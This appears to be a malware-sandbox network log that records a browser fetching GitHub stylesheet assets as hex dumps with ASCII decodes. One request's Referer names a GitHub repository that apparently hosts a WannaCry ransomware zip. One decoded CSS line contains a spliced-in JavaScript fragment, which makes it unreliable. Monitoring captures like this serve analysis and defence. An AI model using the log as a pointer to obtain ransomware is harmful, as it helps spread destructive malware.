2024-03-23 14:47:21 UTC	16384	IN	Data Raw: 68 65 63 6b 73 2d 61 6e 73 69 2d 6d 61 67 65 6e 74 61 3a 20 23 62 63 38 63 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 6d 61 67 65 6e 74 61 2d 62 72 69 67 68 74 3a 20 23 64 32 61 38 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 63 79 61 6e 3a 20 23 37 36 65 33 65 61 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 61 6e 73 69 2d 63 79 61 6e 2d 62 72 69 67 68 74 3a 20 23 62 33 66 30 66 66 3b 2d 2d 63 6f 6c 6f 72 2d 70 72 6f 6a 65 63 74 2d 68 65 61 64 65 72 2d 62 67 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6c 6f 72 2d 70 72 6f 6a 65 63 74 2d 73 69 64 65 62 61 72 2d 62 67 3a 20 23 31 36 31 62 32 32 3b 2d 2d 63 6f 6c 6f 72 2d 70 72 6f 6a 65 63 74 2d 67 72 61 64 69 65 6e 74 2d 69 6e 3a 20 23 31 36 31 62 32 32 3b Data Ascii: hecks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;
2024-03-23 14:47:21 UTC	14748	IN	Data Raw: 65 63 6b 73 2d 69 6e 70 75 74 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 31 70 78 20 28 6f 62 6a 29 20 3d 3e 20 28 30 2c 20 67 65 74 5f 31 2e 64 65 66 61 75 6c 74 29 28 6f 62 6a 2c 20 70 61 74 68 29 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 65 72 72 6f 72 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 70 65 6e 64 69 6e 67 3a 20 23 64 32 39 39 32 32 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 73 75 63 63 65 73 73 3a 20 23 32 65 61 30 34 33 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 6e 65 75 74 72 61 6c 3a 20 23 38 62 39 34 39 65 3b 2d 2d 63 6f 6c 6f 72 2d 63 68 65 63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 74 65 78 74 3a 20 23 65 36 65 64 66 33 Data Ascii: ecks-input-shadow: 0 0 0 1px (obj) => (0, get_1.default)(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #e6edf3

Timestamp	Bytes transferred	Direction	Data
2024-03-23 14:47:21 UTC	668	OUT	GET /assets/primer-primitives-366b5c973fad.css HTTP/1.1 Host: github.githubassets.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://github.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-23 14:47:21 UTC	673	IN	HTTP/1.1 200 OK Connection: close Content-Length: 8022 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Tue, 19 Mar 2024 18:00:01 GMT ETag: 0x8DC483E6635234F Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 23 Mar 2024 14:47:21 GMT Age: 325842 X-Served-By: cache-iad-kjyo7100135-IAD, cache-ewr18153-EWR X-Cache: HIT, HIT X-Cache-Hits: 1391, 1 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: f5a2ff33586112fd9dbfc57e2c04b8a6ad5e37e2
2024-03-23 14:47:21 UTC	1378	IN	Data Raw: 3a 72 6f 6f 74 20 7b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 34 3a 20 30 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 38 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 32 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 3a 20 31 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 32 30 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 32 34 3a 20 31 2e 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 32 38 3a 20 31 2e 37 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 33 32 3a 20 32 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 33 36 3a 20 32 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 62 61 73 65 2d 73 69 7a 65 2d Data Ascii: :root { --base-size-4: 0.25rem; --base-size-8: 0.5rem; --base-size-12: 0.75rem; --base-size-16: 1rem; --base-size-20: 1.25rem; --base-size-24: 1.5rem; --base-size-28: 1.75rem; --base-size-32: 2rem; --base-size-36: 2.25rem; --base-size-
2024-03-23 14:47:21 UTC	1378	IN	Data Raw: 2d 2d 63 6f 6e 74 72 6f 6c 53 74 61 63 6b 2d 73 6d 61 6c 6c 2d 67 61 70 2d 61 75 74 6f 3a 20 31 72 65 6d 3b 0a 20 20 20 20 2d 2d 63 6f 6e 74 72 6f 6c 53 74 61 63 6b 2d 6d 65 64 69 75 6d 2d 67 61 70 2d 61 75 74 6f 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 7d 0a 7d 0a 0a 40 6d 65 64 69 61 20 28 70 6f 69 6e 74 65 72 3a 20 66 69 6e 65 29 20 7b 0a 20 20 3a 72 6f 6f 74 20 7b 0a 20 20 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6d 69 6e 54 61 72 67 65 74 2d 61 75 74 6f 3a 20 31 72 65 6d 3b 0a 20 20 20 20 2d 2d 63 6f 6e 74 72 6f 6c 53 74 61 63 6b 2d 73 6d 61 6c 6c 2d 67 61 70 2d 61 75 74 6f 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 20 20 2d 2d 63 6f 6e 74 72 6f 6c 53 74 61 63 6b 2d 6d 65 64 69 75 6d 2d 67 61 70 2d 61 75 74 6f 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 7d 0a 7d 0a 0a 3a Data Ascii: --controlStack-small-gap-auto: 1rem; --controlStack-medium-gap-auto: 0.75rem; }}@media (pointer: fine) { :root { --control-minTarget-auto: 1rem; --controlStack-small-gap-auto: 0.5rem; --controlStack-medium-gap-auto: 0.5rem; }}:
2024-03-23 14:47:21 UTC	1378	IN	Data Raw: 67 49 6e 6c 69 6e 65 2d 73 70 61 63 69 6f 75 73 3a 20 31 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 72 67 65 2d 67 61 70 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 78 6c 61 72 67 65 2d 73 69 7a 65 3a 20 33 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 78 6c 61 72 67 65 2d 6c 69 6e 65 42 6f 78 48 65 69 67 68 74 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 78 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 42 6c 6f 63 6b 3a 20 30 2e 38 37 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 78 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 49 6e 6c 69 6e 65 2d 6e 6f 72 6d 61 6c 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 2d 2d 63 6f 6e 74 72 6f 6c 2d 78 6c 61 72 67 65 2d 70 61 64 64 69 6e 67 49 6e 6c 69 6e 65 2d Data Ascii: gInline-spacious: 1rem; --control-large-gap: 0.5rem; --control-xlarge-size: 3rem; --control-xlarge-lineBoxHeight: 1.25rem; --control-xlarge-paddingBlock: 0.875rem; --control-xlarge-paddingInline-normal: 0.75rem; --control-xlarge-paddingInline-
2024-03-23 14:47:21 UTC	1378	IN	Data Raw: 76 65 72 6c 61 79 2d 68 65 69 67 68 74 2d 78 6c 61 72 67 65 3a 20 33 37 2e 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 2d 6e 6f 72 6d 61 6c 3a 20 31 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 2d 63 6f 6e 64 65 6e 73 65 64 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 42 6c 6f 63 6b 2d 63 6f 6e 64 65 6e 73 65 64 3a 20 30 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 70 61 64 64 69 6e 67 42 6c 6f 63 6b 2d 6e 6f 72 6d 61 6c 3a 20 30 2e 37 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 62 6f 72 64 65 72 52 61 64 69 75 73 3a 20 30 2e 33 37 35 72 65 6d 3b 0a 20 20 2d 2d 6f 76 65 72 6c 61 79 2d 6f 66 66 73 65 74 3a 20 30 2e 32 35 72 65 6d 3b Data Ascii: verlay-height-xlarge: 37.5rem; --overlay-padding-normal: 1rem; --overlay-padding-condensed: 0.5rem; --overlay-paddingBlock-condensed: 0.25rem; --overlay-paddingBlock-normal: 0.75rem; --overlay-borderRadius: 0.375rem; --overlay-offset: 0.25rem;
2024-03-23 14:47:21 UTC	1378	IN	Data Raw: 69 75 6d 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 2d 2d 74 65 78 74 2d 74 69 74 6c 65 2d 73 69 7a 65 2d 6c 61 72 67 65 3a 20 32 72 65 6d 3b 0a 20 20 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 73 69 7a 65 3a 20 32 2e 35 72 65 6d 3b 0a 20 20 2d 2d 74 65 78 74 2d 64 69 73 70 6c 61 79 2d 6c 69 6e 65 42 6f 78 48 65 69 67 68 74 3a 20 33 2e 35 72 65 6d 3b 0a 20 20 2d 2d 66 6f 6e 74 53 74 61 63 6b 2d 6d 6f 6e 6f 73 70 61 63 65 3a 20 75 69 2d 6d 6f 6e 6f 73 70 61 63 65 2c 20 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 20 53 46 20 4d 6f 6e 6f 2c 20 4d 65 6e 6c 6f 2c 20 43 6f 6e 73 6f 6c 61 73 2c 20 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 2c 20 6d 6f 6e 6f 73 Data Ascii: ium: 1.25rem; --text-title-size-large: 2rem; --text-display-lineHeight: 1.4; --text-display-size: 2.5rem; --text-display-lineBoxHeight: 3.5rem; --fontStack-monospace: ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monos
2024-03-23 14:47:21 UTC	1132	IN	Data Raw: 66 6f 6e 74 53 74 61 63 6b 2d 73 61 6e 73 53 65 72 69 66 29 3b 0a 20 20 2d 2d 74 65 78 74 2d 62 6f 64 79 2d 73 68 6f 72 74 68 61 6e 64 2d 6d 65 64 69 75 6d 3a 20 76 61 72 28 2d 2d 74 65 78 74 2d 62 6f 64 79 2d 77 65 69 67 68 74 29 20 76 61 72 28 2d 2d 74 65 78 74 2d 62 6f 64 79 2d 73 69 7a 65 2d 6d 65 64 69 75 6d 29 2f 76 61 72 28 2d 2d 74 65 78 74 2d 62 6f 64 79 2d 6c 69 6e 65 48 65 69 67 68 74 2d 6d 65 64 69 75 6d 29 20 76 61 72 28 2d 2d 66 6f 6e 74 53 74 61 63 6b 2d 73 61 6e 73 53 65 72 69 66 29 3b 0a 20 20 2d 2d 74 65 78 74 2d 62 6f 64 79 2d 73 68 6f 72 74 68 61 6e 64 2d 6c 61 72 67 65 3a 20 76 61 72 28 2d 2d 74 65 78 74 2d 62 6f 64 79 2d 77 65 69 67 68 74 29 20 76 61 72 28 2d 2d 74 65 78 74 2d 62 6f 64 79 2d 73 69 7a 65 2d 6c 61 72 67 65 29 2f 76 61 Data Ascii: fontStack-sansSerif); --text-body-shorthand-medium: var(--text-body-weight) var(--text-body-size-medium)/var(--text-body-lineHeight-medium) var(--fontStack-sansSerif); --text-body-shorthand-large: var(--text-body-weight) var(--text-body-size-large)/va